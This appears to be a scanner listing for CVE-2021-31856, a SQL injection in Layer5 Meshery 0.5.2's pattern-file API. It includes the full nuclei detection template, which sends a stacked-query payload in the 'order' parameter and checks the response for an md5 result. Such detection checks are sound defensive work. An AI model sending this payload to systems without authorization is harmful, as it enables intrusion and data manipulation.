Layer5 Meshery 0.5.2 - SQL Injection

criticalseverity

9.8CVSS score

75.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).

How to confirm it

Send: GET {{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0
Positive when: contains "{{md5({{num}})}}" AND status 200

Run it with nuclei: nuclei -id CVE-2021-31856 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-31856

info:
  name: Layer5 Meshery 0.5.2 - SQL Injection
  author: princechaddha
  severity: critical
  description: Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
  reference:
    - https://github.com/ssst0n3/CVE-2021-31856
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31856
    - https://meshery.io
    - https://github.com/layer5io/meshery/pull/2745
    - https://github.com/ssst0n3/my_vulnerabilities
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31856
    cwe-id: CWE-89
    epss-score: 0.75384
    epss-percentile: 0.99519
    cpe: cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: layer5
    product: meshery
  tags: cve2021,cve,sqli,layer5,vuln
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200

References

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